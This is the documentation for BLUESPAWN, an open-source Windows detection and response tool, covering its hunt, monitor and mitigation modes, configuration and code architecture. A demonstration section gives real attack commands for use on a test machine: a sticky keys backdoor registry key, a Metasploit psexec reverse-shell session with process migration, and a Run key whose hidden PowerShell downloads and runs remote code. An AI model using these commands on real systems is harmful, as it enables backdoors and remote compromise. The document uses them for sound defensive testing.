BLUESPAWN

BLUESPAWN Dev Team

Jan 25, 2022

CONTENTS


BLUESPAWN

CHAPTER

ONE

OUR MISSION

BLUESPAWN helps blue teams monitor systems in real-time against active attackers by detecting anomalous activity

CHAPTER

TWO

WHAT IS BLUESPAWN

BLUESPAWN is an **active defense** and **endpoint detection and response tool** which means it can be used by defenders to quickly **detect**, **identify**, and **eliminate** malicious activity and malware across a network.

CHAPTER

THREE

GET INVOLVED & CONTRIBUTE TO THE PROJECT

Want to help make BLUESPAWN even more effective at locating and stopping malware? Join us on the BLUESPAWN Discord Server and help with development or even just suggest a feature or report a bug. No experience required - there's no better way to learn about development or security than by just jumping right in!

If you'd like to help contribute code, you can get started by checking out our wiki page on setting up your development environment. Please feel free to reach out to us in Discord if you run into any problems getting set up! We generally track bugs and new features through Issues and coordinate in chat when doing any development work.

CHAPTER

FOUR

WHY WE MADE BLUESPAWN

We've created and open-sourced this for a number of reasons which include the following:

- **Move Faster**: We wanted tooling specifically designed to quickly identify malicious activity on a system
- **Know our Coverage**: We wanted to know exactly what our tools could detect and not rely on blackbox software as much (ie AV programs). This approach will help us to better focus our efforts on specific lines of effort and have confidence in the status of others.
- **Better Understanding**: We wanted to better understand the Windows attack surface in order to defend it better
- **More Open-Source Blue Team Software**: While there are many open-source Red Team Tools out there, the vast majority of some of the best Blue Team tools are closed-source (ie, AVs, EDRs, SysInternals, etc). We shouldn't need to rely on security through obscurity to prevent malicious actors (obviously very difficult, but something to strive for!)
- **Demonstrate Features of Operating System APIs**: We combed through a ton of Microsoft Documentation, StackOverflow Answers, and more to create this. Hopefully others may find some of the code useful.

4.1 Contact Us

If you have any questions, comments, or suggestions, please feel free to send us an email at bluespawn@virginia.edu or message us in the BLUESPAWN Discord Server.

4.2 Sponsoring

4.3 Licensing

4.4 Project Authors

Made with by the UVA Cyber Defense Team and the other awesome people in the core dev team listed below

- Jake Smith (Github, Twitter)
- Jack McDowell (Github)
- Calvin Krist (Github)
- Will Mayes (Github)
- David Smith (Github)
- Aaron Gdanski (Github)
- Grant Matteo (Github)

4.4.1 Contributors

Thanks to all of the folks listed below for their contributions to BLUESPAWN!

- Alexander Kluth (Github)
- Yehuda Hido Cohen (Github)

Want to help? Take a look at the current issues, add ideas for new features, write some code, and create a pull request!

4.4.2 Special Thanks

We would like to provide a special thank you to the following projects that have helped us to build BLUESPAWN:

- Github's support of open-source projects, especially the ability for unlimited use Github Actions
- Microsoft's documentation and examples on the Windows API
- The Department of Defense's Defense Information Systems Agency (DISA) for their great work in publishing STIGs and various other technical security guidance for Windows.
- @hasherezade's PE Sieve, which currently manages our process analytics
- VirusTotal's YARA Project which we use to scan data for malicious identifiers
- The Yara Rules Project's Rules repository which contains a large collection of open-source YARA rules
- @Neo23x0's open-source signature-base project which contains a large collection of YARA rules
- The MITRE's ATT&CK Project which has put together an amazing framework for which to consider, document, and categorize attacker tradercraft
- Red Canary's Atomic Red Team and Invoke-AtomicRedTeam Projects which have been incredibly useful in helping to test the detections we are building
- Amazon's Open Source at AWS Initiative who has provided our team some AWS promotional credits to help us reserach and test BLUESPAWN better
- The NSA Cybersecurity Directorate's Windows Event Forwarding Guidance
- Sean Metcalf's Active Directory Security blog ADSecurity
- Geoff Chappell's website on Windows components
- Matt Graeber's amazing Windows Security research including his Subverting Trust in Windows Paper

- @op7ic's EDR-Testing-Script Project
- The Japan Computer Emergency Response Team (JPCERT)'s Tool Analysis Result Sheet for its documentation of attacker behavior and correlation with detection opportunities
- @jarro2783's cxxopts which we use to parse command line arguments
- @leethomason's tinyxml2 library which we use to output scan information to XML

4.5 Publications

Here are some of the places you may have heard about the project :)

DEFCON 28 Blue Team Village - Overview, Slides

National Collegiate Cyber Defense Competition, 2020 Red Team Debrief - Youtube

BLUESPAWN Research Paper at UVA - Paper, DOI 10.18130/v3-b1n6-ef83

4.6 Hunts

4.7 Scan Mode

4.8 Mitigations

4.9 Reactions

4.10 Logging and Output

4.11 Agent7 Integration

4.12 Getting Started

Download BLUESPAWN binary here, then open an Administrative Command Prompt and navigate to where you downloaded the binary.

4.12.1 Hunt Mode

Perform a hunt for malicious activity on a system by looking for evidence of over 25 different MITRE ATT&CK Techniques including Process Injection (T1055), Run Keys (T1060), and other popular malware techniques.

```
# Run a basic hunt
BLUESPAWN-client-x64.exe --hunt -a Normal --react=log --log=console
```

This command will run all of the implemented hunts at the Normal level. These hunts will print information about anything suspicious they find, but will not actively do anything about them.

4.12.2 Modifiers / Additional Arguments

You can pass some additional arguments to extend or change how BLUESPAWN operates in Hunt mode.

- `--hunts=TXXX,TXXX` : pass a comma separated list of MITRE ATT&CK Techniques to only hunt for specific techniques
- `--exclude-hunts=TXXX,TXXX` : pass a comma separated list of MITRE ATT&CK Techniques to EXCLUDE from a hunt. This runs every implemented hunt except the ones you specify
- `-a Normal, --aggressiveness=Normal` : pass either Cursory, Normal, or Intensive to specify how invasive to check. Generally hunts take longer & generate more false positives as the level increases.
- `-r log,carve-memory, --react=log,carve-memory` : pass a comma separated list of the available reactions listed below to customize how BLUESPAWN can respond to detected threats
  - `log` : default, records the detection
  - `remove-value` : removes a detected registry value
  - `suspend` : suspends a detected process
  - `carve-memory` : temporarily suspends the process and effectively removes all malicious threads before resuming the process. Useful for responding to process injection (T1055) as this only removes the malware without killing the entire process
  - `delete-file` : deletes any detected malware files
  - `quarantine-file` : denies `Everyone` access to the file
- `--log=console,xml` : pass a comma separated list of available sinks to log results to. Options are `console` (writes to screen) and `xml` (writes to an xml file in the current directory)

4.12.3 Monitor Mode

Set BLUESPAWN in monitor mode to continuously watch for any evidence of malware on a system. This mode works by monitoring sensitive registry keys, files, and more that malware is known to abuse. Then, when something changes, it runs the associated hunt and triggers detections as needed.

```
# Monitor the system for threats
BLUESPAWN-client-x64.exe --monitor -a Normal --react=log --log=console,xml
```

4.12.4 Modifiers / Additional Arguments

All of the aforementioned arguments in hunt mode work in monitor mode.

4.12.5 Mitigate Mode

Run BLUESPAWN in mitigate mode to audit or enforce a variety of DoD STIG settings or MITRE Mitigations that can help to enhance the security posture of a system.

```
# Audit the current system against available STIG settings/Mitigations
BLUESPAWN-client-x64.exe --mitigate --action=audit

# Enforce compliance of the current system against available STIG settings/Mitigations
BLUESPAWN-client-x64.exe --mitigate --action=enforce
```

4.12.6 Other commands

Get information about available commands

```
BLUESPAWN-client-x64.exe --help
```

4.13 Examples of BLUESPWAN in Action

The below sections will outline a variety of commands/methods that can be used to get BLUESPAWN to trigger an alert to showcase how the program operates.

NOTE: Windows Defender or other security products running on the system may block the malware even more BLUESPAWN can pick it up. We recommend only running these tests on a clean, **NON-PRODUCTION** system, ideally with no other anti-virus if you are evaluating/demonstrating BLUESPAWN.

4.13.1 Monitor Mode

You can launch monitor mode in one window and leave it open while performing any of the below attacks to generate alerts that was as well.

```
.\BLUESPAWN-client-x64.exe --monitor -a Normal --react=log --log=console,xml
```

4.13.2 T1546 - Accessibility Features

Install a sticky keys backdoor

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
↪sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"
```

Perform a Hunt with BLUESPAWN for T1546

```
.\BLUESPAWN-client-x64.exe --hunt -a Normal --hunts=T1546 --react=log,remove-value --
↪log=console,xml
```

4.13.3 T1055 - Process Injection

Launch a Meterpreter beacon on the target, for example, using PsExec with valid credentials

```
sudo msfconsole
use exploit/windows/smb/psexec
set RHOSTS 172.17.50.136
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST YOUR_IP
set LPORT 4444
exploit

<spawning of a meterpreter beacon>

ps # find the PID of a target process to migrate to such as explorer.exe
migrate PID
```

Perform a Hunt with BLUESPAWN for T1055

```
.\BLUESPAWN-client-x64.exe --hunt -a Normal --hunts=T1055 --react=log,carve-memory --
↪log=console,xml
```

4.13.4 T1547 - Registry Run Keys / Startup Folder

Configure a malicious run key

```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Payload /d "powershell.exe␣
↪-nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://172.20.243.
↪5:80/a'))\"" /f
```

Perform a Hunt with BLUESPAWN for T1547

```
.\BLUESPAWN-client-x64.exe --hunt -a Normal --hunts=T1547 --react=log,remove-value --
↪log=console,xml
```

4.14 Using Mitigations

BLUESPAWN has the capability to apply settings to a system in order to make it more secure. This is done through mitigation mode.

4.14.1 What are Mitigations

In BLUESPAWN, mitigations refer to general area of security settings that can be applied. For example, ensuring a system has proper auditing or hardening settings for MySQL may be a mitigation. Each mitigation in BLUESPAWN has a name corresponding to either a software to be hardened or a MITRE ATT&CK Mitigation, along with a brief description describing what it does. Each mitigation also has exactly one associated software, either the base OS or another software product. While hardening non-default services may fall under a MITRE ATT&CK mitigation, it is instead given its own BLUESPAWN mitigation.

Mitigations consist of some number policies, which refer to a single setting or change to be applied. For example, a mitigation policy may require that a particular registry value hold a certain value. Each policy may set a minimum

or maximum software version for the associated mitigation's software. For example, if one setting is required up until version 5.3, and after that it is deprecated in lieu of another setting, one policy could apply the older setting if the version is below 5.3 and another could apply the newer setting after 5.3. Each mitigation policy also holds an enforcement level, either low, moderate, or high. Unless BLUESPAWN's enforcement level is at least the same level as the policy, it will be treated as not required.

4.14.2 Enforcing and Auditing Mitigations

BLUESPAWN has two modes in which it can use its mitigations - audit and enforce. In audit mode, BLUESPAWN will scan the system and compare the current system state to that described in the mitigation policies. In enforce mode, BLUESPAWN will scan the system, and anything that doesn't match the requirements of the mitigation policies will be updated. In both modes, the user may specify an enforcement level. Mitigation policies that have a higher enforcement level than the user specified level will be checked, but no changes will be made. Mitigation policies marked as not required are still checked during audit mode, but the report will indicate they were not required.

4.14.3 Configuring Auditing and Enforcement

If the user wishes for finer granularity choice over which policies should be run, BLUESPAWN offers a JSON customization option. It is recommended that the user generate a default JSON configuration file by using the `--gen-config` flag. This flag may be set to one of three values: `global`, `mitigations`, and `mitigation-policies`. The `global` value will result in the generated configuration file containing only the default enforcement level for all mitigations. The `mitigations` value will result in the generated configuration file containing the default enforcement level for all mitigations as well as a separate enforcement level for each mitigation. Finally, the `mitigation-policies` value will result in the generated configuration file holding everything from the `mitigations` value in addition to all individual mitigation policies, allowing a user to set them as required or not individually. In all cases, the generated configuration file will enforce no policies until it is edited. The resulting JSON will be saved to ./bluespawn-mitigation-config.json, **overwriting any existing file with the same name**.

Some example JSON configuration files are below. The following configuration will result in all mitigations being run at the moderate enforcement level.

```
{
    "default-enforcement-level": "moderate"
}
```

This configuration will result in all mitigations being run at the moderate enforcement level, except for M1025, which will instead be run at high

```
{
    "default-enforcement-level": "moderate"
    "mitigations": [
        {
            "description": "Protect processes with high privileges that can be used to␣
↪interact with critical system components through use of protected process light, anti-
↪process injection defenses, or other process integrity enforcement measures",
            "enforcement-level": "high",
            "name": "M1025 - Privileged Process Integrity"
        }
    ]
}
```

This configuration will result in all mitigations being run at the moderate enforcement level, except for M1025, which will instead be run at high. However, mitigation "Run LSA as PPL" will not be enforced at all.

```
{
    "default-enforcement-level": "moderate"
    "mitigations": [
        {
            "description": "Protect processes with high privileges that can be used to␣
↪interact with critical system components through use of protected process light, anti-
↪process injection defenses, or other process integrity enforcement measures",
            "enforcement-level": "high",
            "name": "M1025 - Privileged Process Integrity"
            "overrides": [
                {
                    "description": "Run the Local Security Authority as a Protected␣
↪Process Lite, preventing process injection and other attacks on lsass.exe's memory",
                    "enabled": false,
                    "policy-name": "Run LSA As PPL"
                }
            ]
        }
    ]
}
```

Note that while descriptions of the mitigations and policies are present in these files, they are not needed. The configuration generator simply includes them to it is more clear what each mitigation is doing and why it is present. Note that the policy names and mitigation names *are* required.

4.14.4 Defining Custom Mitigations

BLUESPAWN comes prepackaged with a number of mitigations and mitigation policies. However, in the event that a user wishes for BLUESPAWN to be able to provide more hardening capabilities, there are two options. First, create an issue (or a pull request)! We are happy to add mitigations that add value to BLUESPAWN! Alternatively, BLUESPAWN is capable of ingesting mitigations from JSON configuration files with the `--add-mitigations` flag. If there are multiple JSON configuration files to add, the `--add-mitigations` flag may be used multiple times, once per mitigation file.

An example configuration file defining mitigation M1025 is provided below. This file has been commented with JavaScript comments, but our JSON parsing library does not allow these. If you intend to use this for any purpose, please remove the comments first.

```
{
  "mitigations": [
    {
      // Required to be unique. This defines the mitigation name.
      "name": "M1025 - Privileged Process Integrity",

      // This is not required, but it is highly recommended. A description makes it␣
↪clear what a mitigation does.
      "description": "Protect processes with high privileges that can be used to␣
↪interact with critical system components through use of protected process light, anti-
↪process injection defenses, or other process integrity enforcement measures",

      // Specify the software associated with this mitigation. Note that as mitigations␣
↪are still in development,
```

(continues on next page)

(continued from previous page)

```
     // automatic software detection for non-windows software is not yet complete. This␣
↪is required.
     "software": "Windows",

     // This specifies the policies that compose this mitigation. This is required.
     "policies": [
       {
         // This tells BLUESPAWN how the policy should be interpreted. This is required.
         // For other options, see the documentation under headers/mitigation/policy
         "policy-type": "registry-value-policy",

         // The name of the policy. This should be short. It is required.
         "name": "Run LSA As PPL",

         // The description of what the policy does and why it matters. Optional but␣
↪highly recommended.
         "description": "Run the Local Security Authority as a Protected Process Lite,␣
↪preventing process injection and other attacks on lsass.exe's memory",

         // The minimum enforcement level at which the policy should be run. Generally␣
↪speaking, low
         // enforcement levels are used when there are little to no negative side␣
↪effects, moderate when
         // there may be negative side effects, but they are considered normal (i.e.␣
↪UAC), and high when
         // enforcing the policy may cause problems (i.e. egress filtering)
         "enforcement-level": "moderate",

         // The minimum software version. For windows, this is the windows NT major␣
↪version, followed by
         // the minor version, and optionally the build number. This may be omitted.␣
↪Note that
         // max-software-version may also be specified.
         "min-software-version": "6.3",

         // Since this is a registry value policy, it is used to apply some change to␣
↪one or more registry
         // value. A key path is required to select which value. Note that * may be␣
↪used to match any key
         // i.e. "HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\
↪Interfaces\\*" matches all
         // keys under interfaces.
         "key-path": "HKLM\\System\\CurrentControlSet\\Control\\Lsa",

         // The name of the value for which this policy applies
         "value-name": "RunAsPPL",

         // The value of the data to check for with this value
         "data-value": 1,

         // The type of the data to check for with this value. This must be REG_SZ, REG_
↪DWORD, REG_MULTI_SZ,
```

(continues on next page)

(continued from previous page)

```
          // or REG_BINARY.
          "data-type": "REG_DWORD",

          // The type of registry value policy. This requires the value to hold the␣
↪exact data specified
          // For other options, see the documentation under headers/mitigation/policy/
↪RegistryPolicy.h
          "registry-value-policy-type": "require-exact"
        }
      ]
    }
  ]
}
```

4.15 Getting Involved

Want to help make BLUESPAWN even more effective at locating and stopping malware? Join us on the BLUESPAWN Discord Server and help with development or even just suggest a feature or report a bug. No experience required - there's no better way to learn about development or security than by just jumping right in!

If you'd like to help contribute code, you can get started by checking out our wiki page on setting up your development environment. Please feel free to reach out to us in Discord if you run into any problems getting set up! We generally track bugs and new features through Issues and coordinate in chat when doing any development work.

4.16 Setting up your Development Environment

4.16.1 Environment Requirements

You *may* be able to get this to run on different OSs / environments, but we strongly recommend using the below

- Windows 10
- Visual Studio 2019

4.16.2 Cloning the repository and downloading dependencies

Clone the repo and install the submodules

```
git clone https://github.com/ION28/BLUESPAWN.git
cd BLUESPAWN
git submodule update --init --recursive
```

In a **administrative** command prompt (not PowerShell) window in the BLUESPAWN main folder, run the following to install the project's dependencies. It is recommended to add this folder to Windows Defender's or another AV product's folders exclusion list.

NOTE: This is going to take at least 25 min probably, but once this is done, you'll likely never need to rerun this.

```
cd vcpkg
.\bootstrap-vcpkg.bat
.\vcpkg.exe install @../vcpkg_response_file.txt
.\vcpkg.exe integrate install
cd ..
```

4.16.3 Working on code

Checkout a new branch (off of develop)

```
git checkout develop
git checkout -b new-branch-name
```

Open Visual Studio, and then open the solution file, BLUESPAWN.sln

4.17 Software Architecture Info

4.17.1 Key ideas

- Association: Relationship between two detections. Each association holds a weight between 0 and 1. An association of weight 0 means two things are completely unrelated while an association of strength 1 means two things are very closely related.
- Detection: Something that may or may not be malicious. This is represented by a `Detection` object. `Detection` objects have a couple important fields worth being familiar with. Each of these will be described in terms of a sample detection for a file called `malware.exe` located in the `C:\` directory.
  - data: This holds information about what is being detected on as well as perhaps reasons why it was detected. In this example, `data` would store the file name, the file path, the file association, results of a yara scan on the file, information about signatures on the file, and hashes for the file
  - type: Indicates what type of thing the `Detection` is referencing. In this example, `type` would be `DetectionType::FileDetection`
  - DetectionStale: Indicates whether the `Detection` accurately reflects the state of the OS. `Detection`'s may be created for files that have been deleted, processes that have been killed, or other things that are no longer present. In this example, since `C:\malware.exe` still exists, `DetectionStale` would be false.
  - info: This holds information about scans performed on this `Detection` and the associations held by each detection. In this example, `info` would indicate with high certainty that `malware.exe` is in fact malicious. `info` would also indicate that this executable is related to registry keys that point to it.
  - remediator: Not all problems can be fixed the same way. BLUESPAWN has built in capabilities to do things like deleting files or removing registry keys, but sometimes, a specialized solution is needed. For `Detection` s that reference something that needs to be fixed rather than removed, a custom remediator can be defined to describe how the `Detection` can be remediated. In this example, `C:\malware.exe` is malware and would not need a remediator.
  - context: This stores information surrounding the `Detection` but not describing the actual `Detection` itself. This is things like when the thing referenced by the `Detection` was first detected, when the first evidence of its existence was created, which hunt identified it, and any note describing why the `Detection` was made. In the example, this would indicate when the file was created, when the file was found, and which hunt identified it.

  - Certainty: Represents the degree of confidence that a detection is malicious. This is part of `info` inside of the `Detection`. `Certainty` can be further broken down in to *intrinsic certainty* and *associtivity certainty*.
  - Intrinsic Certainty: Represents the certainty that the specific thing referenced by the detection is malicious in its own regard. In the example of `malware.exe`, this would be calculated from things like the results of yara scans on the file and whether the file is signed.
  - Associtivity Certainty: Represents certainty derived from associations. In general, if a file and a process are found to be closely related, if one is malicious, chances are the other one is too. This is what's referenced by associativity certainty. In the example, if `malware.exe` was found to be loaded in a process that was dumping credentials, `malware.exe` would receive a high associtivity certainty.

- Aggressiveness: This is user specified when BLUESPAWN is launched. Higher aggressiveness means longer scans and more false positives, but also a better chance of catching everything. Options are `Intensive`, `Normal`, and `Cursory`.

4.17.2 Hunts

Hunts are the starting point for creation of `Detection` s. Hunts are defined to cover one MITRE ATT&CK technique and create `Detection` s for anything found to be using the technique maliciously. An example hunt's CPP source is below.

```
HuntT1013::HuntT1013() : Hunt(L"T1013 - Port Monitors") {
    dwCategoriesAffected = (DWORD) Category::Configurations | (DWORD) Category::Files;
    dwSourcesInvolved = (DWORD) DataSource::Registry | (DWORD) DataSource::FileSystem;
    dwTacticsUsed = (DWORD) Tactic::Persistence | (DWORD) Tactic::PrivilegeEscalation;
}

std::vector<std::shared_ptr<Detection>> HuntT1013::RunHunt(const Scope& scope) {
    HUNT_INIT();

    RegistryKey monitors{ HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\
↪Print\\Monitors" };

    for(auto monitor : monitors.EnumerateSubkeys()) {
        if(monitor.ValueExists(L"Driver")) {
            auto filepath{ FileSystem::SearchPathExecutable(monitor.GetValue
↪<std::wstring>(L"Driver").value()) };

            if(filepath && FileScanner::PerformQuickScan(*filepath)) {
                CREATE_DETECTION(Certainty::Moderate,
                                 RegistryDetectionData{ *RegistryValue::Create(monitor, L
↪"Driver"),

↪RegistryDetectionType::FileReference });
            }
        }
    }

    HUNT_END();
}

std::vector<std::unique_ptr<Event>> HuntT1013::GetMonitoringEvents() {
    std::vector<std::unique_ptr<Event>> events;
```

(continues on next page)

(continued from previous page)

```
    Registry::GetRegistryEvents(events, HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\
↪Control\\Print\\Monitors",
                                false, false, true);

    return events;
}
```

As you can see, the constructor defines the name of the technique as well as the tactics, categories, and data sources involved.

More important is the `RunHunt` method. Every `RunHunt` method should begin with `HUNT_INIT();`, or in cases where the hunt should only run above a certain aggressiveness, use `HUNT_INIT_LEVEL([Minimum aggressiveness])`. Each `RunHunt` method should also end with `HUNT_END();`. Inside the hunt, there is plenty of leeway in terms of what can be done. There are two macros defined for creating `Detection` s. The first - and far more common - one is `CREATE_DETECTION`. The first argument of this is the base certainty given to the `Detection`. The idea behind this is that `Detection` s should in some cases receive some degree of certainty simply for where they were found. For example, any `AppInit_Dll` should be met with a high degree of skepticism due to how rarely it is used in a benign manner and how commonly it is used maliciously - and therefore should have a high base certainty. This is factored into the intrinsic certainty score. The second is the `DetectionData` struct containing information about the detection. See `detections.h` for more information about how this should be created. In the other `Detection` creation macro, `CREATE_DETECTION_WITH_CONTEXT`, allows developers to specify detail about the detection. This can include a custom context (needed if a note or FirstEvidenceTime is to be added), a remediator, and an indicator of whether or not the detection is stale.

The last method in every hunt is `GetMonitoringEvents`. This method should return a vector of unique pointers to `Event` s, specifying when the hunt should be rerun during monitor mode.

4.17.3 Monitor Mode

Monitor mode is in a more primitive state than hunt mode. As it stands now, each hunt defines its triggers in `GetMonitoringEvents`. Then whenever any log, file, or registry key specified by the hunt gets updated, the hunt gets rerun.

4.18 Project Roadmap

4.18.1 Project Organization

- Encourage more people to get involved in the development
- Wiki pages
- Make docs easy to find
- [in progress] More Discord development sessions
- [in progress] Contribution guidelines

4.18.2 Client Windows

Short Term (~1 month)

- [in progress, testing phase] Scan Mode / Multithreading / Internals Overhaul
- Strict adherence to code style guidelines (clang-format)
- Add JSON Sink
- Clangformat package for styling
- Add mitigation for installing Sysmon (use winhttp, see message from Jack)
- Update BLUESPAWN to utilize new MITRE ATT&CK Subtechniques

Medium Term (2 - 6 months)

- Scan mode improvements
- Modify hunts to contextualize detections
- More Utilities
  - Scheduled Tasks
  - CollectInfo to gather local system info (ie to record stuff like hostname, ip, etc) and add functions (ie to determine if running on a DC) (update T1136 when this is done)
- Begin agent DLL
- Add `--config` option with YML
- Add Network Sink
- More and improved hunts & mitigations
- Stronger Atomic Red Team / other testing

Long Term (6+ months)

- Alice in Kernelland
- BaaS (Bluespawn as a [Windows] Service)
- Add support for AMSI
- More and improved hunts & mitigations
- ETW using krabsetw, see https://github.com/pathtofile/Sealighter

4.18.3 Client Linux

Short Term (~1 month)

- Initial POC version

Medium Term (2 - 6 months)

Long Term (6+ months)

4.18.4 [BELOW ROADMAP IS SIGNIFICANTLY OUT OF DATE] Server

Short Term (~1 month)

- Meet to discuss ELK vs other options with Wasabi and David
  - Alternative: support our own API that forwards to a back end, (replace logstash ?)
    - Create our own parser for BLUESPAWN logs
    - Other people can write adapters for other log types
  - At the least: be backend agnostic
- Get SSL for Logstash
- Get WinLogBeats set up with working SSL and Filebeats with BS logs
  - Incorporate into Ansible playbook
- Create 'First Log In' scripts to enforce proper credentials and SSL keys
- Document tech stack and general server architecture
- Change Ansible script to use autorun keys instead of service installation

Medium Term (2 - 6 months)

- Create Logstash parsers to support MITRE stuff
  - More unified BLUESPAWN logging format
- Create basic web gui
- Continue to document scripts and tech stack
- Speak with more stakeholders and professional security admins and active threat hunters about EDRs and the features they need
  - Create feature priority list
- Create simple endpoint control and management
  - Refresh credentials
  - Run specific hunts
  - Deploy mitigations
  - Listing machine info
- Ensure the server is deployable to existing architecture

  - Support existing ELK stuff
  - Support other backends
- Create basic analysis plugins
  - Integrate Sigma rules
  - Create Sigma rules for bluespawn?
- Support more deployment options (design to be easily downloadable from the server)
  - GPO
  - Batch scripts / installers
  - API

Long Term (6+ months)

- Support more advanced endpoint control
  - Support remediation options from the web server
  - Support firewall configuration from the web server
- Create more analysis plugins
- Support users, groups, and other administration type use cases
  - Extend the backend's users, eg kibana
- Use parsed MITRE tags to recreate attacks
- Report generation and custom display / views that can be saved to a specific URL
  - For example, go to `myserver/report1` to see a search and visualization of brute force login attacks
- Ensure server can scale to most corporate performance needs
  - Kubernetes, support multiple ELK nodes, load balancers, message queue